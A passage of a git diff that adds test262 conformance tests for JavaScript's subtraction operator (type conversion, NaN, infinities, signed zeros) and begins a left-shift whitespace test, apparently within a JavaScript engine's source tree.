+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true - 1 !== 0) {
+ $ERROR('#1: true - 1 === 0. Actual: ' + (true - 1));
+}
+
+//CHECK#2
+if (1 - true !== 0) {
+ $ERROR('#2: 1 - true === 0. Actual: ' + (1 - true));
+}
+
+//CHECK#3
+if (new Boolean(true) - 1 !== 0) {
+ $ERROR('#3: new Boolean(true) - 1 === 0. Actual: ' + (new Boolean(true) - 1));
+}
+
+//CHECK#4
+if (1 - new Boolean(true) !== 0) {
+ $ERROR('#4: 1 - new Boolean(true) === 0. Actual: ' + (1 - new Boolean(true)));
+}
+
+//CHECK#5
+if (true - new Number(1) !== 0) {
+ $ERROR('#5: true - new Number(1) === 0. Actual: ' + (true - new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) - true !== 0) {
+ $ERROR('#6: new Number(1) - true === 0. Actual: ' + (new Number(1) - true));
+}
+
+//CHECK#7
+if (new Boolean(true) - new Number(1) !== 0) {
+ $ERROR('#7: new Boolean(true) - new Number(1) === 0. Actual: ' + (new Boolean(true) - new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) - new Boolean(true) !== 0) {
+ $ERROR('#8: new Number(1) - new Boolean(true) === 0. Actual: ' + (new Number(1) - new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.2.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.2.js
new file mode 100644
index 000000000..2c98620cc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" - 1 !== 0) {
+ $ERROR('#1: "1" - 1 === 0. Actual: ' + ("1" - 1));
+}
+
+//CHECK#2
+if (1 - "1" !== 0) {
+ $ERROR('#2: 1 - "1" === 0. Actual: ' + (1 - "1"));
+}
+
+//CHECK#3
+if (new String("1") - 1 !== 0) {
+ $ERROR('#3: new String("1") - 1 === 0. Actual: ' + (new String("1") - 1));
+}
+
+//CHECK#4
+if (1 - new String("1") !== 0) {
+ $ERROR('#4: 1 - new String("1") === 0. Actual: ' + (1 - new String("1")));
+}
+
+//CHECK#5
+if ("1" - new Number(1) !== 0) {
+ $ERROR('#5: "1" - new Number(1) === 0. Actual: ' + ("1" - new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) - "1" !== 0) {
+ $ERROR('#6: new Number(1) - "1" === 0. Actual: ' + (new Number(1) - "1"));
+}
+
+//CHECK#7
+if (new String("1") - new Number(1) !== 0) {
+ $ERROR('#7: new String("1") - new Number(1) === 0. Actual: ' + (new String("1") - new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) - new String("1") !== 0) {
+ $ERROR('#8: new Number(1) - new String("1") === 0. Actual: ' + (new Number(1) - new String("1")));
+}
+
+//CHECK#9
+if (isNaN("x" - 1) !== true) {
+ $ERROR('#9: "x" - 1 === Not-a-Number. Actual: ' + ("x" - 1));
+}
+
+//CHECK#10
+if (isNaN(1 - "x") !== true) {
+ $ERROR('#10: 1 - "x" === Not-a-Number. Actual: ' + (1 - "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.3.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.3.js
new file mode 100644
index 000000000..9edba35ba
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 - null !== 1) {
+ $ERROR('#1: 1 - null === 1. Actual: ' + (1 - null));
+}
+
+//CHECK#2
+if (null - 1 !== -1) {
+ $ERROR('#2: null - 1 === -1. Actual: ' + (null - 1));
+}
+
+//CHECK#3
+if (new Number(1) - null !== 1) {
+ $ERROR('#3: new Number(1) - null === 1. Actual: ' + (new Number(1) - null));
+}
+
+//CHECK#4
+if (null - new Number(1) !== -1) {
+ $ERROR('#4: null - new Number(1) === -1. Actual: ' + (null - new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.4.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.4.js
new file mode 100644
index 000000000..9169bacdd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(1 - undefined) !== true) {
+ $ERROR('#1: 1 - undefined === Not-a-Number. Actual: ' + (1 - undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined - 1) !== true) {
+ $ERROR('#2: undefined - 1 === Not-a-Number. Actual: ' + (undefined - 1));
+}
+
+//CHECK#3
+if (isNaN(new Number(1) - undefined) !== true) {
+ $ERROR('#3: new Number(1) - undefined === Not-a-Number. Actual: ' + (new Number(1) - undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined - new Number(1)) !== true) {
+ $ERROR('#4: undefined - new Number(1) === Not-a-Number. Actual: ' + (undefined - new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.5.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.5.js
new file mode 100644
index 000000000..953fb4088
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true - "1" !== 0) {
+ $ERROR('#1: true - "1" === 0. Actual: ' + (true - "1"));
+}
+
+//CHECK#2
+if ("1" - true !== 0) {
+ $ERROR('#2: "1" - true === 0. Actual: ' + ("1" - true));
+}
+
+//CHECK#3
+if (new Boolean(true) - "1" !== 0) {
+ $ERROR('#3: new Boolean(true) - "1" === 0. Actual: ' + (new Boolean(true) - "1"));
+}
+
+//CHECK#4
+if ("1" - new Boolean(true) !== 0) {
+ $ERROR('#4: "1" - new Boolean(true) === 0. Actual: ' + ("1" - new Boolean(true)));
+}
+
+//CHECK#5
+if (true - new String("1") !== 0) {
+ $ERROR('#5: true - new String("1") === 0. Actual: ' + (true - new String("1")));
+}
+
+//CHECK#6
+if (new String("1") - true !== 0) {
+ $ERROR('#6: new String("1") - true === 0. Actual: ' + (new String("1") - true));
+}
+
+//CHECK#7
+if (new Boolean(true) - new String("1") !== 0) {
+ $ERROR('#7: new Boolean(true) - new String("1") === 0. Actual: ' + (new Boolean(true) - new String("1")));
+}
+
+//CHECK#8
+if (new String("1") - new Boolean(true) !== 0) {
+ $ERROR('#8: new String("1") - new Boolean(true) === 0. Actual: ' + (new String("1") - new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.6.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.6.js
new file mode 100644
index 000000000..34fdcb385
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN("1" - undefined) !== true) {
+ $ERROR('#1: "1" - undefined === Not-a-Number. Actual: ' + ("1" - undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined - "1") !== true) {
+ $ERROR('#2: undefined - "1" === Not-a-Number. Actual: ' + (undefined - "1"));
+}
+
+//CHECK#3
+if (isNaN(new String("1") - undefined) !== true) {
+ $ERROR('#3: new String("1") - undefined === Not-a-Number. Actual: ' + (new String("1") - undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined - new String("1")) !== true) {
+ $ERROR('#4: undefined - new String("1") === Not-a-Number. Actual: ' + (undefined - new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.7.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.7.js
new file mode 100644
index 000000000..3e467ed63
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" - null !== 1) {
+ $ERROR('#1: "1" - null === 1. Actual: ' + ("1" - null));
+}
+
+//CHECK#2
+if (null - "1" !== -1) {
+ $ERROR('#2: null - "1" === -1. Actual: ' + (null - "1"));
+}
+
+//CHECK#3
+if (new String("1") - null !== 1) {
+ $ERROR('#3: new String("1") - null === 1. Actual: ' + (new String("1") - null));
+}
+
+//CHECK#4
+if (null - new String("1") !== -1) {
+ $ERROR('#4: null - new String("1") === -1. Actual: ' + (null - new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.8.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.8.js
new file mode 100644
index 000000000..92704df1d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(true - undefined) !== true) {
+ $ERROR('#1: true - undefined === Not-a-Number. Actual: ' + (true - undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined - true) !== true) {
+ $ERROR('#2: undefined - true === Not-a-Number. Actual: ' + (undefined - true));
+}
+
+//CHECK#3
+if (isNaN(new Boolean(true) - undefined) !== true) {
+ $ERROR('#3: new Boolean(true) - undefined === Not-a-Number. Actual: ' + (new Boolean(true) - undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined - new Boolean(true)) !== true) {
+ $ERROR('#4: undefined - new Boolean(true) === Not-a-Number. Actual: ' + (undefined - new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.9.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.9.js
new file mode 100644
index 000000000..22bbe59e5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true - null !== 1) {
+ $ERROR('#1: true - null === 1. Actual: ' + (true - null));
+}
+
+//CHECK#2
+if (null - true !== -1) {
+ $ERROR('#2: null - true === -1. Actual: ' + (null - true));
+}
+
+//CHECK#3
+if (new Boolean(true) - null !== 1) {
+ $ERROR('#3: new Boolean(true) - null === 1. Actual: ' + (new Boolean(true) - null));
+}
+
+//CHECK#4
+if (null - new Boolean(true) !== -1) {
+ $ERROR('#4: null - new Boolean(true) === -1. Actual: ' + (null - new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T1.js
new file mode 100644
index 000000000..2ea5c563c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T1.js
+ * @description If either operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN - 1) !== true ) {
+ $ERROR('#1: NaN - 1 === Not-a-Number. Actual: ' + (NaN - 1));
+}
+
+//CHECK#2
+if (isNaN(1 - Number.NaN) !== true ) {
+ $ERROR('#2: 1 - NaN === Not-a-Number. Actual: ' + (1 - NaN));
+}
+
+//CHECK#3
+if (isNaN(Number.NaN - Number.POSITIVE_INFINITY) !== true ) {
+ $ERROR('#3: NaN - Infinity === Not-a-Number. Actual: ' + (NaN - Infinity));
+}
+
+//CHECK#4
+if (isNaN(Number.POSITIVE_INFINITY - Number.NaN) !== true ) {
+ $ERROR('#4: Infinity - NaN === Not-a-Number. Actual: ' + (Infinity - NaN));
+}
+
+//CHECK#5
+if (isNaN(Number.NaN - Number.NEGATIVE_INFINITY) !== true ) {
+ $ERROR('#5: NaN - Infinity === Not-a-Number. Actual: ' + (NaN - Infinity));
+}
+
+//CHECK#6
+if (isNaN(Number.NEGATIVE_INFINITY - Number.NaN) !== true ) {
+ $ERROR('#6: Infinity - NaN === Not-a-Number. Actual: ' + (Infinity - NaN));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T2.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T2.js
new file mode 100644
index 000000000..3853092ca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T2.js
+ * @description The difference of two infinities of opposite sign is the infinity of minuend sign
+ */
+
+//CHECK#1
+if (Number.POSITIVE_INFINITY - Number.NEGATIVE_INFINITY !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#1: Infinity - -Infinity === Infinity. Actual: ' + (Infinity - -Infinity));
+}
+
+//CHECK#2
+if (Number.NEGATIVE_INFINITY - Number.POSITIVE_INFINITY !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#2: -Infinity - Infinity === -Infinity. Actual: ' + (-Infinity - Infinity));
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T3.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T3.js
new file mode 100644
index 000000000..e1c18e1cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T3.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T3.js
+ * @description The difference of two infinities of the same sign is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.POSITIVE_INFINITY - Number.POSITIVE_INFINITY) !== true ) {
+ $ERROR('#1: Infinity - Infinity === Not-a-Number. Actual: ' + (Infinity - Infinity));
+}
+
+//CHECK#2
+if (isNaN(Number.NEGATIVE_INFINITY - Number.NEGATIVE_INFINITY) !== true ) {
+ $ERROR('#2: -Infinity - -Infinity === Not-a-Number. Actual: ' + (-Infinity - -Infinity));
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T4.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T4.js
new file mode 100644
index 000000000..2a0ddf37b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T4.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T4.js
+ * @description The difference of an infinity and a finite value is equal to infinity of appropriate sign
+ */
+
+//CHECK#1
+if (Number.POSITIVE_INFINITY - 1 !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#1: Infinity - 1 === Infinity. Actual: ' + (Infinity - 1));
+}
+
+//CHECK#2
+if (-1 - Number.POSITIVE_INFINITY !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#2: -1 - Infinity === -Infinity. Actual: ' + (-1 - Infinity));
+}
+
+//CHECK#3
+if (Number.NEGATIVE_INFINITY - 1 !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#3: -Infinity - 1 === -Infinity. Actual: ' + (-Infinity - 1));
+}
+
+//CHECK#4
+if (-1 - Number.NEGATIVE_INFINITY !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#4: -1 - -Infinity === Infinity. Actual: ' + (-1 - -Infinity));
+}
+
+//CHECK#5
+if (Number.POSITIVE_INFINITY - Number.MAX_VALUE !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#5: Infinity - Number.MAX_VALUE === Infinity. Actual: ' + (Infinity - Number.MAX_VALUE));
+}
+
+//CHECK#6
+if (-Number.MAX_VALUE - Number.POSITIVE_INFINITY !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#6: -Number.MAX_VALUE - Infinity === I-nfinity. Actual: ' + (-Number.MAX_VALUE - Infinity));
+}
+
+//CHECK#7
+if (Number.NEGATIVE_INFINITY - Number.MAX_VALUE !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#7: -Infinity - Number.MAX_VALUE === -Infinity. Actual: ' + (-Infinity - Number.MAX_VALUE));
+}
+
+//CHECK#8
+if (-Number.MAX_VALUE - Number.NEGATIVE_INFINITY !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#8: -Number.MAX_VALUE - -Infinity === Infinity. Actual: ' + (-Number.MAX_VALUE - -Infinity));
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T5.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T5.js
new file mode 100644
index 000000000..bcc6ac258
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T5.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T5.js
+ * @description Using the rule of sum of two zeroes and the fact that a - b = a + (-b)
+ */
+
+//CHECK#1
+if (-0 - -0 !== 0 ) {
+ $ERROR('#1.1: -0 - -0 === 0. Actual: ' + (-0 - -0));
+} else {
+ if (1 / (-0 - -0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: -0 - -0 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#2
+if (0 - -0 !== 0 ) {
+ $ERROR('#2.1: 0 - -0 === 0. Actual: ' + (0 - -0));
+} else {
+ if (1 / (0 - -0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: 0 - -0 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#3
+if (-0 - 0 !== -0 ) {
+ $ERROR('#3.1: -0 - 0 === 0. Actual: ' + (-0 - 0));
+} else {
+ if (1 / (-0 - 0) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3.2: -0 - 0 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#4
+if (0 - 0 !== 0 ) {
+ $ERROR('#4.1: 0 - 0 === 0. Actual: ' + (0 - 0));
+} else {
+ if (1 / (0 - 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4.2: 0 - 0 === + 0. Actual: -0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T6.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T6.js
new file mode 100644
index 000000000..a71e3068f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T6.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T6.js
+ * @description Using the rule of sum of a zero and a nonzero finite value and the fact that a - b = a + (-b)
+ */
+
+//CHECK#1
+if (1 - -0 !== 1 ) {
+ $ERROR('#1: 1 - -0 === 1. Actual: ' + (1 - -0));
+}
+
+//CHECK#2
+if (1 - 0 !== 1 ) {
+ $ERROR('#2: 1 - 0 === 1. Actual: ' + (1 - 0));
+}
+
+//CHECK#3
+if (-0 - 1 !== -1 ) {
+ $ERROR('#3: -0 - 1 === -1. Actual: ' + (-0 - 1));
+}
+
+//CHECK#4
+if (0 - 1 !== -1 ) {
+ $ERROR('#4: 0 - 1 === -1. Actual: ' + (0 - 1));
+}
+
+//CHECK#5
+if (Number.MAX_VALUE - -0 !== Number.MAX_VALUE ) {
+ $ERROR('#5: Number.MAX_VALUE - -0 === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE - -0));
+}
+
+//CHECK#6
+if (Number.MAX_VALUE - 0 !== Number.MAX_VALUE ) {
+ $ERROR('#6: Number.MAX_VALUE - 0 === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE - 0));
+}
+
+//CHECK#7
+if (-0 - Number.MIN_VALUE !== -Number.MIN_VALUE ) {
+ $ERROR('#7: -0 - Number.MIN_VALUE === -Number.MIN_VALUE. Actual: ' + (-0 - Number.MIN_VALUE));
+}
+
+//CHECK#8
+if (0 - Number.MIN_VALUE !== -Number.MIN_VALUE ) {
+ $ERROR('#8: 0 - Number.MIN_VALUE === -Number.MIN_VALUE. Actual: ' + (0 - Number.MIN_VALUE));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T7.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T7.js
new file mode 100644
index 000000000..8f810cb46
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T7.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T7.js
+ * @description The mathematical difference of two nonzero finite values of the same magnitude and same sign is +0
+ */
+
+//CHECK#1
+if (Number.MIN_VALUE - Number.MIN_VALUE !== +0) {
+ $ERROR('#1.1: Number.MIN_VALUE - Number.MIN_VALUE === 0. Actual: ' + (Number.MIN_VALUE - Number.MIN_VALUE));
+} else {
+ if (1 / (Number.MIN_VALUE - Number.MIN_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: Number.MIN_VALUE - Number.MIN_VALUE === + 0. Actual: -0');
+ }
+}
+
+//CHECK#2
+if (-Number.MAX_VALUE - -Number.MAX_VALUE !== +0) {
+ $ERROR('#2.2: -Number.MAX_VALUE - -Number.MAX_VALUE === 0. Actual: ' + (-Number.MAX_VALUE - -Number.MAX_VALUE));
+} else {
+ if (1 / (-Number.MAX_VALUE - -Number.MAX_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.1: -Number.MAX_VALUE - -Number.MAX_VALUE === + 0. Actual: -0');
+ }
+}
+
+//CHECK#3
+if (1 / Number.MAX_VALUE - 1 / Number.MAX_VALUE !== +0) {
+ $ERROR('#3.1: 1 / Number.MAX_VALUE - 1 / Number.MAX_VALUE === 0. Actual: ' + (1 / Number.MAX_VALUE - 1 / Number.MAX_VALUE));
+} else {
+ if (1 / (1 / Number.MAX_VALUE - 1 / Number.MAX_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: 1 / Number.MAX_VALUE - 1 / Number.MAX_VALUE === + 0. Actual: -0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T8.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T8.js
new file mode 100644
index 000000000..b8a5cd4e8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A4_T8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y produces the same result as x + (-y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A4_T8.js
+ * @description If the magnitude is too large to represent, the operation overflows and the result is then an infinity of appropriate sign
+ */
+
+//CHECK#1
+if (Number.MAX_VALUE - -Number.MAX_VALUE !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number.MAX_VALUE - -Number.MAX_VALUE === Number.POSITIVE_INFINITY. Actual: ' + (Number.MAX_VALUE - -Number.MAX_VALUE));
+}
+
+//CHECK#2
+if (-Number.MAX_VALUE - Number.MAX_VALUE !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2: -Number.MAX_VALUE - umber.MAX_VALUE === Number.NEGATIVE_INFINITY. Actual: ' + (-Number.MAX_VALUE - umber.MAX_VALUE));
+}
+
+//CHECK#3
+if (1e+308 - -1e+308 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: 1e+308 - -1e+308 === Number.POSITIVE_INFINITY. Actual: ' + (1e+308 - -1e+308));
+}
+
+//CHECK#4
+if (-8.99e+307 - 8.99e+307 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4: -8.99e+307 - 8.99e+307 === Number.NEGATIVE_INFINITY. Actual: ' + (-8.99e+307 - 8.99e+307));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/browser.js b/js/src/tests/test262/ch11/11.6/11.6.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/shell.js b/js/src/tests/test262/ch11/11.6/11.6.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.6/browser.js b/js/src/tests/test262/ch11/11.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/browser.js
diff --git a/js/src/tests/test262/ch11/11.6/shell.js b/js/src/tests/test262/ch11/11.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/shell.js
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A1.js
new file mode 100644
index 000000000..4b4e16d24
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between ShiftExpression and "<<" or between "<<" and AdditiveExpression are allowed
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009<<\u00091") !== 2) {
+ $ERROR('#1: 1\\u0009<<\\u00091 === 2');
+}
+
+//CHECK#2
+if (eval("1\u000B<<\u000B1") !== 2) {
+ $ERROR('#2: 1\\u000B<<\\u000B1 === 2');
+}
+
+//CHECK#3
+if (eval("1\u000C<<\u000C1") !== 2) {
+ $ERROR('#3: 1\\u000C<<\\u000C1 === 2');
